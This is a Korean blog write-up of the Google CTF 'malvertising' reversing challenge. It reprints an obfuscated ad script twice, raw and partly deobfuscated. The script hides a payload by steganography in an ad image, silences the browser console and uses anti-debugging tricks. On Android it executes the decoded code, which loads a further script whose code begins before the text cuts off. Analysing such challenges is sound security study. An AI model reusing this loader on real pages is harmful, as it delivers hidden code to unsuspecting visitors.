본문 바로가기

리버싱!

google ctf-malvertising

Malvertising이란?

멀버타이징(Malvertising)은 악성 프로그램을 뜻하는 멀웨어(Malware) 혹은 '악의적인'이라는 뜻의 의미하는 멀리셔스(Malicious)와 광고 활동을 뜻하는 애드버타이징(Advertising)의 합성어다.

멀버타이징은 광고 서비스의 정상적인 네트워크를 이용하여 악성코드를 유포 및 감염시키는 방법을 말한다.

 

악성코드 제작자는 그럴 듯한 도메인 이름으로 위장된 광고 웹 사이트를 제작 후 광고 서비스에 이를 광고한다. 그리고 사용자가 해당 웹 사이트를 접속했을 때 취약한 페이지로 리다이렉트 되도록 설정해 둔다. 그 이후에 정상 웹 사이트로 이동한다

 

https://malvertising.web.ctfcompetition.com/

광고를 클릭하면 google.com 로 리다이렉트가 된다.

 

./src/metrics.js

 

! function(a, b, c) {
    "undefined" != typeof module && module.exports ? module.exports = c() : "function" == typeof define && define.amd ? define(c) : b[a] = c()
}("steg", this, function() {
    var a = function() {},
        b = {
            isPrime: function(a) {
                if (isNaN(a) || !isFinite(a) || a % 1 || 2 > a) return !1;
                if (a % 2 === 0) return 2 === a;
                if (a % 3 === 0) return 3 === a;
                for (var b = Math.sqrt(a), c = 5; b >= c; c += 6) {
                    if (a % c === 0) return !1;
                    if (a % (c + 2) === 0) return !1
                }
                return !0
            },
            findNextPrime: function(a) {
                for (var c = a; !0; c += 1)
                    if (b.isPrime(c)) return c
            },
            sum: function(a, b, c) {
                var d = 0;
                c = c || {};
                for (var e = c.start || 0; b > e; e += c.inc || 1) d += a(e) || 0;
                return 0 === d && c.defValue ? c.defValue : d
            },
            product: function(a, b, c) {
                var d = 1;
                c = c || {};
                for (var e = c.start || 0; b > e; e += c.inc || 1) d *= a(e) || 1;
                return 1 === d && c.defValue ? c.defValue : d
            },
            createArrayFromArgs: function(a, b, c) {
                for (var d = new Array(c - 1), e = 0; c > e; e += 1) d[e] = a(e >= b ? e + 1 : e);
                return d
            },
            loadImg: function(a) {
                var b = new Image;
                return b.src = a, b
            }
        };
    return a.prototype.config = {
        t: 3,
        threshold: 1,
        codeUnitSize: 16,
        args: function(a) {
            return a + 1
        },
        messageDelimiter: function(a, b) {
            for (var c = new Array(3 * b), d = 0; d < c.length; d += 1) c[d] = 255;
            return c
        },
        messageCompleted: function(a, b, c) {
            for (var d = !0, e = 0; 16 > e && d; e += 1) d = d && 255 === a[b + 4 * e];
            return d
        }
    }, a.prototype.getHidingCapacity = function(a, b) {
        b = b || {};
        var c = this.config,
            d = b.width || a.width,
            e = b.height || a.height,
            f = b.t || c.t,
            g = b.codeUnitSize || c.codeUnitSize;
        return f * d * e / g >> 0
    }, a.prototype.encode = function(a, c, d) {
        if (c.length) c = b.loadImg(c);
        else if (c.src) c = b.loadImg(c.src);
        else if (!(c instanceof HTMLImageElement)) throw new Error("IllegalInput: The input image is neither an URL string nor an image.");
        d = d || {};
        var e = this.config,
            f = d.t || e.t,
            g = d.threshold || e.threshold,
            h = d.codeUnitSize || e.codeUnitSize,
            i = b.findNextPrime(Math.pow(2, f)),
            j = d.args || e.args,
            k = d.messageDelimiter || e.messageDelimiter;
        if (!f || 1 > f || f > 7) throw new Error('IllegalOptions: Parameter t = " + t + " is not valid: 0 < t < 8');
        var l = document.createElement("canvas"),
            m = l.getContext("2d");
        l.style.display = "none", l.width = d.width || c.width, l.height = d.height || c.height, d.height && d.width ? m.drawImage(c, 0, 0, d.width, d.height) : m.drawImage(c, 0, 0);
        var n, o, p, q, r, s, t, u, v, w, x = m.getImageData(0, 0, l.width, l.height),
            y = x.data,
            z = h / f >> 0,
            A = h % f,
            B = [];
        for (v = 0; v <= a.length; v += 1) {
            if (s = a.charCodeAt(v) || 0, t = A * v % f, t > 0 && o) {
                if (u = Math.pow(2, f - t) - 1, p = Math.pow(2, h) * (1 - Math.pow(2, -t)), q = (s & u) << t, r = (o & p) >> h - t, B.push(q + r), v < a.length) {
                    for (u = Math.pow(2, 2 * f - t) * (1 - Math.pow(2, -f)), w = 1; z > w; w += 1) n = s & u, B.push(n >> (w - 1) * f + (f - t)), u <<= f;
                    A * (v + 1) % f === 0 ? (u = Math.pow(2, h) * (1 - Math.pow(2, -f)), n = s & u, B.push(n >> h - f)) : f >= A * (v + 1) % f + (f - t) && (n = s & u, B.push(n >> (z - 1) * f + (f - t)))
                }
            } else if (v < a.length)
                for (u = Math.pow(2, f) - 1, w = 0; z > w; w += 1) n = s & u, B.push(n >> w * f), u <<= f;
            o = s
        }
        var C, D, E, F, G, H = k(B, g);
        for (C = 0; 4 * (C + g) <= y.length && C + g <= B.length; C += g) {
            for (G = [], v = 0; g > v && v + C < B.length; v += 1) {
                for (F = 0, w = C; g + C > w && w < B.length; w += 1) F += B[w] * Math.pow(j(v), w - C);
                G[v] = 255 - i + 1 + F % i
            }
            for (v = 4 * C; v < 4 * (C + G.length) && v < y.length; v += 4) y[v + 3] = G[v / 4 % g];
            E = G.length
        }
        for (D = C + E; D - (C + E) < H.length && 4 * (C + H.length) < y.length; D += 1) y[4 * D + 3] = H[D - (C + E)];
        for (v = 4 * (D + 1) + 3; v < y.length; v += 4) y[v] = 255;
        return x.data = y, m.putImageData(x, 0, 0), l.toDataURL()
    }, a.prototype.decode = function(a, c) {
        if (a.length) a = b.loadImg(a);
        else if (a.src) a = b.loadImg(a.src);
        else if (!(a instanceof HTMLImageElement)) throw new Error("IllegalInput: The input image is neither an URL string nor an image.");
        c = c || {};
        var d = this.config,
            e = c.t || d.t,
            f = c.threshold || d.threshold,
            g = c.codeUnitSize || d.codeUnitSize,
            h = b.findNextPrime(Math.pow(2, e)),
            i = (c.args || d.args, c.messageCompleted || d.messageCompleted);
        if (!e || 1 > e || e > 7) throw new Error('IllegalOptions: Parameter t = " + t + " is not valid: 0 < t < 8');
        var j = document.createElement("canvas"),
            k = j.getContext("2d");
        j.style.display = "none", j.width = c.width || a.width, j.height = c.width || a.height, c.height && c.width ? k.drawImage(a, 0, 0, c.width, c.height) : k.drawImage(a, 0, 0);
        var l, m, n = k.getImageData(0, 0, j.width, j.height),
            o = n.data,
            p = [];
        if (1 === f)
            for (l = 3, m = !1; !m && l < o.length && !m; l += 4) m = i(o, l, f), m || p.push(o[l] - (255 - h + 1));
        var q = "",
            r = 0,
            s = 0,
            t = Math.pow(2, g) - 1;
        for (l = 0; l < p.length; l += 1) r += p[l] << s, s += e, s >= g && (q += String.fromCharCode(r & t), s %= g, r = p[l] >> e - s);
        return 0 !== r && (q += String.fromCharCode(r & t)), q
    }, new a
});
var a = ['OcOOcmwqwqcOw6YY', 'LMO2woLDi27CscKE', 'w6AZw5DDkMKK', 'wpLDvMKTcwEBNmLCpCEC', 'wooTw4LDtENeT8ODfMOMGDJCLA==', 'wp3DgHV6UA==', 'IMO3woDDl2DCuQ==', 'SsKQw4ozw4pp', 'JyTCtcOi', 'DAwvMsKuw5YFcE8=', 'P8ORRsKNwoE=', 'UMONw7HCpyNQwoLDnynCksKLJV7CsMKAw6/Dv2PCuw==', 'wofDmTJ0WMOdT3zDoMKcwqzDrRoCwpBPwrBBwoxewqtMwrB7DADDlGoLw7HCpMO7', 'P8OZf3o1wr8C', 'w63CmjrCmlLDoMKN', 'w6LCmjM=', 'w6MKw4PDnQ==', 'w6rCkDbCnFo=', 'woQYw5DDng==', 'wrnDsMOHJsOYKcKWw4LDoQ==', 'w4R+wq12wqo=', 'GhAkM8KAw50F', 'wpLDvMKTcxofJg==', 'w59uw4R0', 'UsKJAgtYw6Q0', 'w5jCmXlB', 'w5pZesOQFRfDlQ==', 'w5DDhcKywpXCqA==', 'w4HDjyUaDsO6wpM='];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    var g = function() {
        var h = {
            'data': {
                'key': 'cookie',
                'value': 'timeout'
            },
            'setCookie': function(i, j, k, l) {
                l = l || {};
                var m = j + '=' + k;
                var n = 0x0;
                for (var n = 0x0, p = i['length']; n < p; n++) {
                    var q = i[n];
                    m += ';\x20' + q;
                    var r = i[q];
                    i['push'](r);
                    p = i['length'];
                    if (r !== !![]) {
                        m += '=' + r;
                    }
                }
                l['cookie'] = m;
            },
            'removeCookie': function() {
                return 'dev';
            },
            'getCookie': function(s, t) {
                s = s || function(u) {
                    return u;
                };
                var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                var w = function(x, y) {
                    x(++y);
                };
                w(e, d);
                return v ? decodeURIComponent(v[0x1]) : undefined;
            }
        };
        var z = function() {
            var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
            return A['test'](h['removeCookie']['toString']());
        };
        h['updateCookie'] = z;
        var B = '';
        var C = h['updateCookie']();
        if (!C) {
            h['setCookie'](['*'], 'counter', 0x1);
        } else if (C) {
            B = h['getCookie'](null, 'counter');
        } else {
            h['removeCookie']();
        }
    };
    g();
}(a, 0x7e));
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['KPKLDH'] === undefined) {
        (function() {
            var f;
            try {
                var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                f = g();
            } catch (h) {
                f = window;
            }
            var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            f['atob'] || (f['atob'] = function(j) {
                var k = String(j)['replace'](/=+$/, '');
                for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
                    n = i['indexOf'](n);
                }
                return p;
            });
        }());
        var q = function(r, d) {
            var t = [],
                u = 0x0,
                v, w = '',
                x = '';
            r = atob(r);
            for (var y = 0x0, z = r['length']; y < z; y++) {
                x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2);
            }
            r = decodeURIComponent(x);
            for (var A = 0x0; A < 0x100; A++) {
                t[A] = A;
            }
            for (A = 0x0; A < 0x100; A++) {
                u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100;
                v = t[A];
                t[A] = t[u];
                t[u] = v;
            }
            A = 0x0;
            u = 0x0;
            for (var B = 0x0; B < r['length']; B++) {
                A = (A + 0x1) % 0x100;
                u = (u + t[A]) % 0x100;
                v = t[A];
                t[A] = t[u];
                t[u] = v;
                w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 0x100]);
            }
            return w;
        };
        b['sSGzQw'] = q;
        b['UvyfIT'] = {};
        b['KPKLDH'] = !![];
    }
    var C = b['UvyfIT'][c];
    if (C === undefined) {
        if (b['osjREl'] === undefined) {
            var D = function(E) {
                this['yhuGjs'] = E;
                this['RSLhQn'] = [0x1, 0x0, 0x0];
                this['JWTCiF'] = function() {
                    return 'newState';
                };
                this['uxuAZy'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
                this['pyeOIT'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            D['prototype']['ijHoQZ'] = function() {
                var F = new RegExp(this['uxuAZy'] + this['pyeOIT']);
                var G = F['test'](this['JWTCiF']['toString']()) ? --this['RSLhQn'][0x1] : --this['RSLhQn'][0x0];
                return this['EwWlht'](G);
            };
            D['prototype']['EwWlht'] = function(H) {
                if (!Boolean(~H)) {
                    return H;
                }
                return this['cJhJoi'](this['yhuGjs']);
            };
            D['prototype']['cJhJoi'] = function(I) {
                for (var J = 0x0, K = this['RSLhQn']['length']; J < K; J++) {
                    this['RSLhQn']['push'](Math['round'](Math['random']()));
                    K = this['RSLhQn']['length'];
                }
                return I(this['RSLhQn'][0x0]);
            };
            new D(b)['ijHoQZ']();
            b['osjREl'] = !![];
        }
        e = b['sSGzQw'](e, d);
        b['UvyfIT'][c] = e;
    } else {
        e = C;
    }
    return e;
};
var d = function() {
    var c = !![];
    return function(d, e) {
        var f = c ? function() {
            if (e) {
                var g = e['apply'](d, arguments);
                e = null;
                return g;
            }
        } : function() {};
        c = ![];
        return f;
    };
}();
var w = d(this, function() {
    var c = function() {
            return '\x64\x65\x76';
        },
        d = function() {
            return '\x77\x69\x6e\x64\x6f\x77';
        };
    var e = function() {
        var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
        return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var g = function() {
        var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
        return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var i = function(j) {
        var k = ~-0x1 >> 0x1 + 0xff % 0x0;
        if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
            l(j);
        }
    };
    var l = function(m) {
        var n = ~-0x4 >> 0x1 + 0xff % 0x0;
        if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
            i(m);
        }
    };
    if (!e()) {
        if (!g()) {
            i('\x69\x6e\x64\u0435\x78\x4f\x66');
        } else {
            i('\x69\x6e\x64\x65\x78\x4f\x66');
        }
    } else {
        i('\x69\x6e\x64\u0435\x78\x4f\x66');
    }
});
w();
var f = function() {
    var g = !![];
    return function(h, i) {
        var j = g ? function() {
            if (i) {
                var k = i[b('0x0', 'Kb10')](h, arguments);
                i = null;
                return k;
            }
        } : function() {};
        g = ![];
        return j;
    };
}();
var l = f(this, function() {
    var m = function() {};
    var n;
    try {
        var o = Function(b('0x1', ')ID3') + b('0x2', '3hyK') + ');');
        n = o();
    } catch (p) {
        n = window;
    }
    if (!n[b('0x3', '^aQK')]) {
        n[b('0x4', 'bxQ9')] = function(m) {
            var f = {};
            f[b('0x5', 'bxQ9')] = m;
            f[b('0x6', 'vH0t')] = m;
            f[b('0x7', 'bxQ9')] = m;
            f[b('0x8', 'jAUm')] = m;
            f['error'] = m;
            f[b('0x9', 'SF81')] = m;
            f[b('0xa', '$KuR')] = m;
            return f;
        }(m);
    } else {
        n[b('0xb', 'IfD@')]['log'] = m;
        n[b('0xc', '%RuL')][b('0xd', 'e9PJ')] = m;
        n[b('0xe', '(fcQ')]['debug'] = m;
        n['console'][b('0xf', 'xBPx')] = m;
        n[b('0x10', 'yDXL')][b('0x11', 'IDtv')] = m;
        n[b('0x12', 'oBBn')][b('0x13', '^aQK')] = m;
        n[b('0x14', 'F#*Z')][b('0x15', 'vH0t')] = m;
    }
});
l();
var s = b('0x16', '%RuL');
var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK'));
t[b('0x19', 'F#*Z')] = function() {
    try {
        var u = steg[b('0x1a', 'OfTH')](t);
    } catch (v) {}
    if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i [b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
        s[s][s](u)();
    }
};

난독화 해제후의 코드

 

! function(a, b, c) {
    "undefined" != typeof module && module.exports ? module.exports = c() : "function" == typeof define && define.amd ? define(c) : b[a] = c()
}("steg", this, function() {
    var a = function() {},
        b = {
            isPrime: function(a) {
                if (isNaN(a) || !isFinite(a) || a % 1 || 2 > a) return !1;
                if (a % 2 === 0) return 2 === a;
                if (a % 3 === 0) return 3 === a;
                for (var b = Math.sqrt(a), c = 5; b >= c; c += 6) {
                    if (a % c === 0) return !1;
                    if (a % (c + 2) === 0) return !1
                }
                return !0
            },
            findNextPrime: function(a) {
                for (var c = a; !0; c += 1)
                    if (b.isPrime(c)) return c
            },
            sum: function(a, b, c) {
                var d = 0;
                c = c || {};
                for (var e = c.start || 0; b > e; e += c.inc || 1) d += a(e) || 0;
                return 0 === d && c.defValue ? c.defValue : d
            },
            product: function(a, b, c) {
                var d = 1;
                c = c || {};
                for (var e = c.start || 0; b > e; e += c.inc || 1) d *= a(e) || 1;
                return 1 === d && c.defValue ? c.defValue : d
            },
            createArrayFromArgs: function(a, b, c) {
                for (var d = new Array(c - 1), e = 0; c > e; e += 1) d[e] = a(e >= b ? e + 1 : e);
                return d
            },
            loadImg: function(a) {
                var b = new Image;
                return b.src = a, b
            }
        };
    return a.prototype.config = {
        t: 3,
        threshold: 1,
        codeUnitSize: 16,
        args: function(a) {
            return a + 1
        },
        messageDelimiter: function(a, b) {
            for (var c = new Array(3 * b), d = 0; d < c.length; d += 1) c[d] = 255;
            return c
        },
        messageCompleted: function(a, b, c) {
            for (var d = !0, e = 0; 16 > e && d; e += 1) d = d && 255 === a[b + 4 * e];
            return d
        }
    }, a.prototype.getHidingCapacity = function(a, b) {
        b = b || {};
        var c = this.config,
            d = b.width || a.width,
            e = b.height || a.height,
            f = b.t || c.t,
            g = b.codeUnitSize || c.codeUnitSize;
        return f * d * e / g >> 0
    }, a.prototype.encode = function(a, c, d) {
        if (c.length) c = b.loadImg(c);
        else if (c.src) c = b.loadImg(c.src);
        else if (!(c instanceof HTMLImageElement)) throw new Error("IllegalInput: The input image is neither an URL string nor an image.");
        d = d || {};
        var e = this.config,
            f = d.t || e.t,
            g = d.threshold || e.threshold,
            h = d.codeUnitSize || e.codeUnitSize,
            i = b.findNextPrime(Math.pow(2, f)),
            j = d.args || e.args,
            k = d.messageDelimiter || e.messageDelimiter;
        if (!f || 1 > f || f > 7) throw new Error('IllegalOptions: Parameter t = " + t + " is not valid: 0 < t < 8');
        var l = document.createElement("canvas"),
            m = l.getContext("2d");
        l.style.display = "none", l.width = d.width || c.width, l.height = d.height || c.height, d.height && d.width ? m.drawImage(c, 0, 0, d.width, d.height) : m.drawImage(c, 0, 0);
        var n, o, p, q, r, s, t, u, v, w, x = m.getImageData(0, 0, l.width, l.height),
            y = x.data,
            z = h / f >> 0,
            A = h % f,
            B = [];
        for (v = 0; v <= a.length; v += 1) {
            if (s = a.charCodeAt(v) || 0, t = A * v % f, t > 0 && o) {
                if (u = Math.pow(2, f - t) - 1, p = Math.pow(2, h) * (1 - Math.pow(2, -t)), q = (s & u) << t, r = (o & p) >> h - t, B.push(q + r), v < a.length) {
                    for (u = Math.pow(2, 2 * f - t) * (1 - Math.pow(2, -f)), w = 1; z > w; w += 1) n = s & u, B.push(n >> (w - 1) * f + (f - t)), u <<= f;
                    A * (v + 1) % f === 0 ? (u = Math.pow(2, h) * (1 - Math.pow(2, -f)), n = s & u, B.push(n >> h - f)) : f >= A * (v + 1) % f + (f - t) && (n = s & u, B.push(n >> (z - 1) * f + (f - t)))
                }
            } else if (v < a.length)
                for (u = Math.pow(2, f) - 1, w = 0; z > w; w += 1) n = s & u, B.push(n >> w * f), u <<= f;
            o = s
        }
        var C, D, E, F, G, H = k(B, g);
        for (C = 0; 4 * (C + g) <= y.length && C + g <= B.length; C += g) {
            for (G = [], v = 0; g > v && v + C < B.length; v += 1) {
                for (F = 0, w = C; g + C > w && w < B.length; w += 1) F += B[w] * Math.pow(j(v), w - C);
                G[v] = 255 - i + 1 + F % i
            }
            for (v = 4 * C; v < 4 * (C + G.length) && v < y.length; v += 4) y[v + 3] = G[v / 4 % g];
            E = G.length
        }
        for (D = C + E; D - (C + E) < H.length && 4 * (C + H.length) < y.length; D += 1) y[4 * D + 3] = H[D - (C + E)];
        for (v = 4 * (D + 1) + 3; v < y.length; v += 4) y[v] = 255;
        return x.data = y, m.putImageData(x, 0, 0), l.toDataURL()
    }, a.prototype.decode = function(a, c) {
        if (a.length) a = b.loadImg(a);
        else if (a.src) a = b.loadImg(a.src);
        else if (!(a instanceof HTMLImageElement)) throw new Error("IllegalInput: The input image is neither an URL string nor an image.");
        c = c || {};
        var d = this.config,
            e = c.t || d.t,
            f = c.threshold || d.threshold,
            g = c.codeUnitSize || d.codeUnitSize,
            h = b.findNextPrime(Math.pow(2, e)),
            i = (c.args || d.args, c.messageCompleted || d.messageCompleted);
        if (!e || 1 > e || e > 7) throw new Error('IllegalOptions: Parameter t = " + t + " is not valid: 0 < t < 8');
        var j = document.createElement("canvas"),
            k = j.getContext("2d");
        j.style.display = "none", j.width = c.width || a.width, j.height = c.width || a.height, c.height && c.width ? k.drawImage(a, 0, 0, c.width, c.height) : k.drawImage(a, 0, 0);
        var l, m, n = k.getImageData(0, 0, j.width, j.height),
            o = n.data,
            p = [];
        if (1 === f)
            for (l = 3, m = !1; !m && l < o.length && !m; l += 4) m = i(o, l, f), m || p.push(o[l] - (255 - h + 1));
        var q = "",
            r = 0,
            s = 0,
            t = Math.pow(2, g) - 1;
        for (l = 0; l < p.length; l += 1) r += p[l] << s, s += e, s >= g && (q += String.fromCharCode(r & t), s %= g, r = p[l] >> e - s);
        return 0 !== r && (q += String.fromCharCode(r & t)), q
    }, new a
});
var a = ['OcOOcmwqwqcOw6YY', 'LMO2woLDi27CscKE', 'w6AZw5DDkMKK', 'wpLDvMKTcwEBNmLCpCEC', 'wooTw4LDtENeT8ODfMOMGDJCLA==', 'wp3DgHV6UA==', 'IMO3woDDl2DCuQ==', 'SsKQw4ozw4pp', 'JyTCtcOi', 'DAwvMsKuw5YFcE8=', 'P8ORRsKNwoE=', 'UMONw7HCpyNQwoLDnynCksKLJV7CsMKAw6/Dv2PCuw==', 'wofDmTJ0WMOdT3zDoMKcwqzDrRoCwpBPwrBBwoxewqtMwrB7DADDlGoLw7HCpMO7', 'P8OZf3o1wr8C', 'w63CmjrCmlLDoMKN', 'w6LCmjM=', 'w6MKw4PDnQ==', 'w6rCkDbCnFo=', 'woQYw5DDng==', 'wrnDsMOHJsOYKcKWw4LDoQ==', 'w4R+wq12wqo=', 'GhAkM8KAw50F', 'wpLDvMKTcxofJg==', 'w59uw4R0', 'UsKJAgtYw6Q0', 'w5jCmXlB', 'w5pZesOQFRfDlQ==', 'w5DDhcKywpXCqA==', 'w4HDjyUaDsO6wpM='];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    var g = function() {
        var h = {
            'data': {
                'key': 'cookie',
                'value': 'timeout'
            },
            'setCookie': function(i, j, k, l) {
                l = l || {};
                var m = j + '=' + k;
                var n = 0x0;
                for (var n = 0x0, p = i['length']; n < p; n++) {
                    var q = i[n];
                    m += ';\x20' + q;
                    var r = i[q];
                    i['push'](r);
                    p = i['length'];
                    if (r !== !![]) {
                        m += '=' + r;
                    }
                }
                l['cookie'] = m;
            },
            'removeCookie': function() {
                return 'dev';
            },
            'getCookie': function(s, t) {
                s = s || function(u) {
                    return u;
                };
                var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                var w = function(x, y) {
                    x(++y);
                };
                w(e, d);
                return v ? decodeURIComponent(v[0x1]) : undefined;
            }
        };
        var z = function() {
            var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
            return A['test'](h['removeCookie']['toString']());
        };
        h['updateCookie'] = z;
        var B = '';
        var C = h['updateCookie']();
        if (!C) {
            h['setCookie'](['*'], 'counter', 0x1);
        } else if (C) {
            B = h['getCookie'](null, 'counter');
        } else {
            h['removeCookie']();
        }
    };
    g();
}(a, 0x7e));
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['KPKLDH'] === undefined) {
        (function() {
            var f;
            try {
                var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
                f = g();
            } catch (h) {
                f = window;
            }
            var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            f['atob'] || (f['atob'] = function(j) {
                var k = String(j)['replace'](/=+$/, '');
                for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
                    n = i['indexOf'](n);
                }
                return p;
            });
        }());
        var q = function(r, d) {
            var t = [],
                u = 0x0,
                v, w = '',
                x = '';
            r = atob(r);
            for (var y = 0x0, z = r['length']; y < z; y++) {
                x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2);
            }
            r = decodeURIComponent(x);
            for (var A = 0x0; A < 0x100; A++) {
                t[A] = A;
            }
            for (A = 0x0; A < 0x100; A++) {
                u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100;
                v = t[A];
                t[A] = t[u];
                t[u] = v;
            }
            A = 0x0;
            u = 0x0;
            for (var B = 0x0; B < r['length']; B++) {
                A = (A + 0x1) % 0x100;
                u = (u + t[A]) % 0x100;
                v = t[A];
                t[A] = t[u];
                t[u] = v;
                w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 0x100]);
            }
            return w;
        };
        b['sSGzQw'] = q;
        b['UvyfIT'] = {};
        b['KPKLDH'] = !![];
    }
    var C = b['UvyfIT'][c];
    if (C === undefined) {
        if (b['osjREl'] === undefined) {
            var D = function(E) {
                this['yhuGjs'] = E;
                this['RSLhQn'] = [0x1, 0x0, 0x0];
                this['JWTCiF'] = function() {
                    return 'newState';
                };
                this['uxuAZy'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
                this['pyeOIT'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            D['prototype']['ijHoQZ'] = function() {
                var F = new RegExp(this['uxuAZy'] + this['pyeOIT']);
                var G = F['test'](this['JWTCiF']['toString']()) ? --this['RSLhQn'][0x1] : --this['RSLhQn'][0x0];
                return this['EwWlht'](G);
            };
            D['prototype']['EwWlht'] = function(H) {
                if (!Boolean(~H)) {
                    return H;
                }
                return this['cJhJoi'](this['yhuGjs']);
            };
            D['prototype']['cJhJoi'] = function(I) {
                for (var J = 0x0, K = this['RSLhQn']['length']; J < K; J++) {
                    this['RSLhQn']['push'](Math['round'](Math['random']()));
                    K = this['RSLhQn']['length'];
                }
                return I(this['RSLhQn'][0x0]);
            };
            new D(b)['ijHoQZ']();
            b['osjREl'] = !![];
        }
        e = b['sSGzQw'](e, d);
        b['UvyfIT'][c] = e;
    } else {
        e = C;
    }
    return e;
};
var d = function() {
    var c = !![];
    return function(d, e) {
        var f = c ? function() {
            if (e) {
                var g = e['apply'](d, arguments);
                e = null;
                return g;
            }
        } : function() {};
        c = ![];
        return f;
    };
}();
var w = d(this, function() {
    var c = function() {
            return '\x64\x65\x76';
        },
        d = function() {
            return '\x77\x69\x6e\x64\x6f\x77';
        };
    var e = function() {
        var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
        return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var g = function() {
        var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
        return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var i = function(j) {
        var k = ~-0x1 >> 0x1 + 0xff % 0x0;
        if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
            l(j);
        }
    };
    var l = function(m) {
        var n = ~-0x4 >> 0x1 + 0xff % 0x0;
        if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
            i(m);
        }
    };
    if (!e()) {
        if (!g()) {
            i('\x69\x6e\x64\u0435\x78\x4f\x66');
        } else {
            i('\x69\x6e\x64\x65\x78\x4f\x66');
        }
    } else {
        i('\x69\x6e\x64\u0435\x78\x4f\x66');
    }
});
w();
var f = function() {
    var g = !![];
    return function(h, i) {
        var j = g ? function() {
            if (i) {
                var k = i[apply](h, arguments);
                i = null;
                return k;
            }
        } : function() {};
        g = ![];
        return j;
    };
}();
var l = f(this, function() {
    var m = function() {};
    var n;
    try {
        var o = Function(return (function()  + {}.constructor("return this")( ) + ');');
        n = o();
    } catch (p) {
        n = window;
    }
    if (!n[console]) {
        n[console] = function(m) {
            var f = {};
            f[log] = m;
            f[warn] = m;
            f[debug] = m;
            f[info] = m;
            f['error'] = m;
            f[exception] = m;
            f[trace] = m;
            return f;
        }(m);
    } else {
        n[console]['log'] = m;
        n[console][warn] = m;
        n[console]['warn'] = m;
        n['console'][info] = m;
        n[console][error] = m;
        n[console][exception] = m;
        n[console][trace] = m;
    }
});
l();
var s = constructor;
var t = document[getElementById](adimg);
t[onload] = function() {
    try {
        var u = steg[decode](t);
    } catch (v) {}
    if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i [test](navigator[userAgent]))) {
        s[s][s](u)();
    }
};

복호화한 소스코드

u = "var dJs = document.createElement('script'); dJs.setAttribute('src','./src/uHsdvEHFDwljZFhPyKxp.js'); document.head.appendChild(dJs);"

https://malvertising.web.ctfcompetition.com/ads/src/uHsdvEHFDwljZFhPyKxp.js

./src/uHsdvEHFDwljZFhPyKxp.js

var T = {};
T.e0 = function(a, b) {
    var c, d, e;
    return a = String(a), b = String(b), 0 == a.length ? '' : (c = T.f0(a.u0()), d = T.f0(b.u0().slice(0, 16)), c.length, c = T.e1(c, d), e = T.longsToStr(c), e.b0())
}, T.d0 = function(a, b) {
    var c, d;
